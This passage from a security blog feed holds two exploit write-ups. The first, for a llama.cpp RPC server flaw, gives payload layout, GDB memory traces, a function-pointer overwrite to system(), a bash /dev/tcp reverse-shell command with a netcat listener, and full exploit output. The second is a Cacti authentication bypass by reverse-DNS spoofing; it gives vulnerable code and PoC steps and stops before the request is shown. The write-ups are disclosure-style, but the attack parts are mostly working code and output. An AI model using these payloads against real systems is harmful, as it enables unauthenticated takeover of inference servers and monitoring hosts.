&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;system() = 0x7df643c00000 + 0x50d70 = 0x7df643c50d70
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;step-5-writing-the-payload&quot;&gt;Step 5: Writing the Payload&lt;/h3&gt;

&lt;p&gt;The payload is 64 bytes laid out to overwrite the buffer’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;iface&lt;/code&gt; struct:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Bytes  0-55:  &quot;bash -c \&quot;id&amp;gt;/tmp/pwned\&quot;\0...&quot;  (command string, null-padded to 56 bytes)
Bytes 56-63:  0x00007df643c50d70              (system() address in little-endian)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This payload is written to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer_base&lt;/code&gt; using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SET_TENSOR&lt;/code&gt; – the legitimate RPC command for writing tensor data into a buffer:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[Step 5] Writing payload to buffer_base
    cmd             = bash -c &quot;id&amp;gt;/tmp/pwned&quot;
    system_addr     = 0x00007df643c50d70
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Verification in GDB after writing to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer_base&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  x/20gx 0x56cb2b791880
0x56cb2b791880: 0x0000002068736162    ← &quot;bash &quot;
0x56cb2b791888: 0x00002d6320226362    ← &quot;bc \&quot;&quot;
0x56cb2b791890: 0x000000006465772f    ← &quot;id&amp;gt;/&quot;
...
0x56cb2b7918c0: 0x00007df643c50d70    ← system() at buffer_base+0x40
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;step-6-corrupting-the-buffers-iface&quot;&gt;Step 6: Corrupting the Buffer’s iface&lt;/h3&gt;

&lt;p&gt;Now the exploit uses the arbitrary write primitive to copy those 64 bytes from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer_base&lt;/code&gt; onto &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;remote_ptr&lt;/code&gt; itself, overwriting the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;iface&lt;/code&gt; struct:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[Step 6] Arb-write: buffer_base -&amp;gt; remote_ptr (corrupt iface)
    Done - iface corrupted
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After this write, the buffer struct at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;remote_ptr&lt;/code&gt; looks like:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;remote_ptr + 0x00:  &quot;bash -c \&quot;id&amp;gt;/tmp/pwned\&quot;\0...&quot;  ← was iface.free_buffer
remote_ptr + 0x08:  more command string...               ← was iface.get_base
...
remote_ptr + 0x38:  0x00007df643c50d70                  ← was iface.clear, now system()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When the server next calls any function through this buffer’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;iface&lt;/code&gt;, it will use the corrupted pointers. Specifically, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;iface.clear&lt;/code&gt; now points to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system()&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;step-7-the-trigger--gdb-catch&quot;&gt;Step 7: The Trigger – GDB Catch&lt;/h3&gt;

&lt;p&gt;The final step is sending &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RPC_CMD_BUFFER_CLEAR&lt;/code&gt; with the corrupted buffer pointer. Here’s what GDB captured when I set a breakpoint at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rpc_server::buffer_clear&lt;/code&gt; and let the exploit run:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  Breakpoint 1 at 0x7df643fee920

========== [buffer_clear] TRIGGERED -- inspecting state ==========

gef➤  info registers rdi
rdi            0x7ffdd66e3c10      (buffer pointer = corrupted remote_ptr)

gef➤  x/10gx $rdi
0x7ffdd66e3c10: 0x000056cb2b78de20    ← iface.free_buffer (corrupted)
0x7ffdd66e3c18: 0x000056cb2b78de28    ← iface.get_base (corrupted)
...
0x7ffdd66e3c48: 0x00007df643c50d70    ← iface.clear = system()

gef➤  x/s $rdi
0x7ffdd66e3c10: &quot; \336x+\313V&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The register &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rsi&lt;/code&gt; contains the command string:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  x/s $rsi
0x7ffdd66e3bf0: &quot;bash -c \&quot;id&amp;gt;/tmp/pwned\&quot;&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Wait – let me re-examine. When &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ggml_backend_buffer_clear()&lt;/code&gt; calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer-&amp;gt;iface.clear(buffer, value)&lt;/code&gt;, the calling convention passes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer&lt;/code&gt; in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$rdi&lt;/code&gt; (first argument). So &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system()&lt;/code&gt; receives the buffer pointer itself as its argument. But the first 56 bytes of the buffer are our command string, so &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system()&lt;/code&gt; interprets the buffer address as a C string – and that string starts with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;bash -c \&quot;id&amp;gt;/tmp/pwned\&quot;&quot;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Here’s the full GDB state at the moment of the call, captured with GEF:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  registers
$rax   : 0x1
$rbx   : 0x4
$rsi   : 0x00007ffdd66e3bf0  →  &quot;bash -c \&quot;id&amp;gt;/tmp/pwned\&quot;&quot;
$rdi   : 0x00007ffdd66e3c10  →  0x000056cb2b78de20
$rip   : 0x00007df643fee920  →  &amp;lt;rpc_server::buffer_clear+0&amp;gt; endbr64
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The call chain is: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rpc_server::buffer_clear()&lt;/code&gt; -&amp;gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ggml_backend_buffer_clear()&lt;/code&gt; -&amp;gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer-&amp;gt;iface.clear(buffer, value)&lt;/code&gt; -&amp;gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system(&quot;bash -c \&quot;id&amp;gt;/tmp/pwned\&quot;&quot;)&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;the-result&quot;&gt;The Result&lt;/h3&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[+] Trigger sent!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On the server:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ cat /tmp/pwned
uid=0(root) gid=0(root) groups=0(root)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Unauthenticated Remote Code Execution. The attacker gains the privileges of whichever user is running the RPC server.&lt;/p&gt;

&lt;p&gt;For a full reverse shell, the payload changes to a TCP connection:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;bash -c &quot;bash -i&amp;gt;&amp;amp;/dev/tcp/&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lhost&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lport&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; 0&amp;gt;&amp;amp;1&quot;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And the listener catches the shell:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ nc -lvnp 4447
listening on [any] 4447 ...
connect to [10.10.14.1] from 10.10.10.5 50052
root@victim:~# id
uid=0(root) gid=0(root) groups=0(root)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;full-exploit-output&quot;&gt;Full Exploit Output&lt;/h2&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ python3 linux_exploit.py 10.10.10.5 50052 10.10.14.1 4447

[*] Connecting to 10.10.10.5:50052
[+] Server version 3.6.1

[Step 1] Allocating staging buffer
    remote_ptr  = 0x000056cb2b78ef60  (ggml_backend_buffer*)
    buffer_base = 0x000056cb2b791880  (data region)

[Step 2] Leaking iface.get_base function pointer
    iface.get_base = 0x00007df64437f820

[Step 3] Scanning backward for ELF magic
    [+] libggml-base.so base: 0x00007df644350000  (step 48)

[Step 4] Reading GOT[memcpy] to leak libc
    memcpy@libc   = 0x00007df643da0880
    [+] libc.so.6 base: 0x00007df643c00000  (step 417)

[Step 4.5] Leaking libc Build-ID and querying libc.rip...
    [+] Found Build-ID: 095c7ba148aeca81668091f718047078d57efddb
    [+] Fetching offsets from https://libc.rip ...
    [+] Matched libc: libc6_2.39-3ubuntu8.4_amd64
    [+] Automatically pulled system offset: 0x50d70
    [+] Final payload variables:
    libc_base     = 0x00007df643c00000
    system()      = 0x00007df643c50d70

[Step 5] Writing payload to buffer_base
    cmd = bash -c &quot;bash -i&amp;gt;&amp;amp;/dev/tcp/10.10.14.1/4447 0&amp;gt;&amp;amp;1&quot;

[Step 6] Corrupting iface via arb-write (buffer_base -&amp;gt; remote_ptr)
    Done -- iface.clear now = system()

[Step 7] Triggering BUFFER_CLEAR -&amp;gt; system(...)
    [!] Waiting for reverse shell on 10.10.14.1:4447 ...
    [+] Trigger command sent! Check your listener.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;bypassing-modern-security-mitigations&quot;&gt;Bypassing Modern Security Mitigations&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Mitigation&lt;/th&gt;
      &lt;th&gt;Effect&lt;/th&gt;
      &lt;th&gt;Why It Failed&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;ASLR (PIE)&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Randomizes all library base addresses&lt;/td&gt;
      &lt;td&gt;Bypassed via information leak: read &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;iface.get_base&lt;/code&gt; function pointer, scan for ELF magic to find library base&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Full RELRO&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Makes GOT read-only after load&lt;/td&gt;
      &lt;td&gt;Irrelevant – the attack targets heap-allocated function pointer structs (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ggml_backend_buffer_t.iface&lt;/code&gt;), not the GOT&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;NX (Non-Executable Stack)&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Prevents shellcode execution&lt;/td&gt;
      &lt;td&gt;Irrelevant – no shellcode is injected. Existing libc functions are redirected via function pointer corruption&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;The vulnerability isn’t a memory corruption bug in the traditional sense – it’s a missing validation check. No stack smashing, no heap overflow, no use-after-free. Just a missing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;if&lt;/code&gt; statement that leads to complete process compromise.&lt;/p&gt;

&lt;p&gt;Full RELRO is a fundamental limitation here: it protects specific ELF sections (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.got&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.got.plt&lt;/code&gt;), not the entire data segment. Any C/C++ program using function pointer structs (common in callback systems, C++ virtual dispatch, and vtables) has potentially writable code targets outside the GOT. The exploit bypasses Full RELRO by targeting exactly this: a heap struct full of function pointers that was never designed to be read-only.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;technical-takeaways&quot;&gt;Technical Takeaways&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Null checks matter.&lt;/strong&gt; The entire exploit chain exists because one code path forgot to check &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer == null&lt;/code&gt; before using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data&lt;/code&gt; pointer. One missing condition.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Full RELRO is not a silver bullet.&lt;/strong&gt; It protects the GOT, but not heap objects containing function pointers. Any C/C++ program using function pointer structs has potentially writable code targets outside the GOT.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Build-ID-based libc resolution makes exploits portable.&lt;/strong&gt; By leaking the remote libc’s Build-ID and querying libc.rip, the exploit works against any target without requiring a local copy of the exact libc version.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/ggml-org/llama.cpp/pull/20908&quot;&gt;CVE-2026-34159 – llama.cpp RPC Server Null Buffer Bypass&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/ggml-org/llama.cpp/pull/20908&quot;&gt;Fix PR #20908&lt;/a&gt; – Initial fix&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/ggml-org/llama.cpp/pull/21030&quot;&gt;Fix PR #21030&lt;/a&gt; – Regression fix&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/ggml-org/llama.cpp&quot;&gt;llama.cpp Repository&lt;/a&gt; – Commit b8487 (vulnerable)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://libc.rip&quot;&gt;libc.rip&lt;/a&gt; – Build-ID to symbol offset lookup&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

</description>
        <pubDate>Fri, 24 Apr 2026 00:00:00 +0000</pubDate>
        <link>https://www.pwntricks.com//ZeroClick-RCE-CVE-2026-34159-llama.cpp</link>
        <link href="https://www.pwntricks.com/ZeroClick-RCE-CVE-2026-34159-llama.cpp"/>
        <guid isPermaLink="true">https://www.pwntricks.com/ZeroClick-RCE-CVE-2026-34159-llama.cpp</guid>
      </item>
    
      <item>
        <title>Cacti Authentication Bypass 0day Cve 2026 22802</title>
        <description>
&lt;h1 id=&quot;exploit-the-unexploitable&quot;&gt;Exploit the UnExploitable&lt;/h1&gt;

&lt;h1 id=&quot;cacti-authentication-bypass-0day-cve-2026-22802&quot;&gt;Cacti Authentication Bypass 0Day (CVE-2026-22802)&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Affected Component:&lt;/strong&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;remote_agent.php&lt;/code&gt;&lt;br /&gt;
&lt;strong&gt;Vulnerability Type:&lt;/strong&gt; Authentication Bypass / Insecure Verification&lt;br /&gt;
&lt;strong&gt;Affected Versions:&lt;/strong&gt; Cacti 1.2.x (Tested on 1.2.30)&lt;/p&gt;

&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;

&lt;p&gt;Cacti is a free, open-source web-based network monitoring and data graphing tool that uses RRDtool to visualize data collected via SNMP. It is widely used by IT administrators to monitor network traffic, CPU usage, and server performance, offering robust graphing, role-based access, and automated device tracking.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;remote_agent.php&lt;/code&gt; file acts as an API endpoint for distributed pollers to communicate with the main Cacti server. It implements an access control mechanism intended to restrict access to authorized pollers only. However, this mechanism relies on insecure Reverse DNS resolution (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gethostbyaddr&lt;/code&gt;), which can be manipulated by an attacker to bypass authentication and execute privileged actions.&lt;/p&gt;

&lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;

&lt;p&gt;The vulnerability exists in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;remote_client_authorized()&lt;/code&gt; function within &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;remote_agent.php&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;vulnerable-code-logic&quot;&gt;Vulnerable Code Logic&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Distributed Polling Check:&lt;/strong&gt; The authentication logic is only reachable if more than one poller is configured in the database (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cacti_sizeof($pollers) &amp;gt; 1&lt;/code&gt;).&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Insecure Hostname Resolution:&lt;/strong&gt; The script retrieves the client’s IP address and attempts to resolve it to a hostname using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gethostbyaddr()&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Trust Validation:&lt;/strong&gt; It compares this resolved hostname against the list of trusted poller hostnames stored in the database.&lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// remote_agent.php: Lines 146-160&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$client_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;gethostbyaddr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$client_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [1] Insecure Reverse DNS lookup&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$pollers&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;db_fetch_assoc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;SELECT * FROM poller WHERE disabled = &quot;&quot;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$poller_db_cnn_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;cacti_sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$pollers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$pollers&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$poller&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// [2] Comparison against trusted hostnames&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;remote_agent_strip_domain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$poller&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;hostname&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$client_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [3] Access Granted&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;elseif&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$poller&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;hostname&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$client_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;the-flaw&quot;&gt;The Flaw&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gethostbyaddr()&lt;/code&gt; relies on the PTR (Pointer) record of the connecting IP address. If an attacker can control the Reverse DNS records for their own IP address (common in local networks or cloud environments), they can set their PTR record to match the hostname of a legitimate poller (e.g., &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;poller-1&lt;/code&gt;). Cacti will resolve the attacker’s IP to the trusted hostname and grant access.&lt;/p&gt;

&lt;h2 id=&quot;3-prerequisites&quot;&gt;3. Prerequisites&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Distributed Polling Enabled:&lt;/strong&gt; The target Cacti instance must have at least one additional poller configured (total pollers &amp;gt; 1).&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Known Poller Hostname:&lt;/strong&gt; The attacker must know the hostname of a valid poller (often predictable, e.g., &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;localhost&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cacti-poller&lt;/code&gt;).&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;PTR Record Control:&lt;/strong&gt; The attacker must be able to set the PTR record for their IP address to match the target poller’s hostname. which is achievable by any hosting service cloud provider&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;

&lt;p&gt;Attacker IP : 50.116.46.139 ==&amp;gt; IP address belong to linode.com hosting provider which allow us to add PTR or RDNS easily&lt;br /&gt;
Target URL : http://target.com/cacti&lt;br /&gt;
poller hostname : casp3r-virtual-machine –&amp;gt; my testing machine&lt;/p&gt;

&lt;h3 id=&quot;step-1&quot;&gt;step 1&lt;/h3&gt;

&lt;p&gt;first attacker should own a domain and create a subdomain with name of the poller hostname for testing I own this testing domain and I will use it sar-tech.site:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.pwntricks.com/assets/images/8/1.jpg&quot;&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/8/1.jpg&quot; alt=&quot;image&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;so now pollerhostname.attackerdomain.com &amp;gt; points to –&amp;gt; attacker IP :&lt;br /&gt;
casp3r-virtual-machine.sar-tech.site points to 50.116.46.139&lt;br /&gt;
&lt;a href=&quot;https://www.pwntricks.com/assets/images/8/2.jpg&quot;&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/8/2.jpg&quot; alt=&quot;image&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;step-2&quot;&gt;step 2&lt;/h3&gt;

&lt;p&gt;now setup the reverse DNS in linode.com:&lt;br /&gt;
&lt;a href=&quot;https://www.pwntricks.com/assets/images/8/3.jpg&quot;&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/8/3.jpg&quot; alt=&quot;image&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;check if RDNS is updated globally please note that this step can take some time:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.pwntricks.com/assets/images/8/4.jpg&quot;&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/8/4.jpg&quot; alt=&quot;image&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;step-3&quot;&gt;step 3&lt;/h3&gt;

&lt;p&gt;send the following get request from attacker IP (50.116.46.139) where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;host_id&lt;/code&gt; can be bruteforced by increasing it and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;oid&lt;/code&gt; is for the SNMP information to get:&lt;/p&gt;

